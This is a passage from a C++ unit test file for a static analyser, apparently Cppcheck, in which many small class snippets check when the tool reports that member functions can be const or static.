S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n 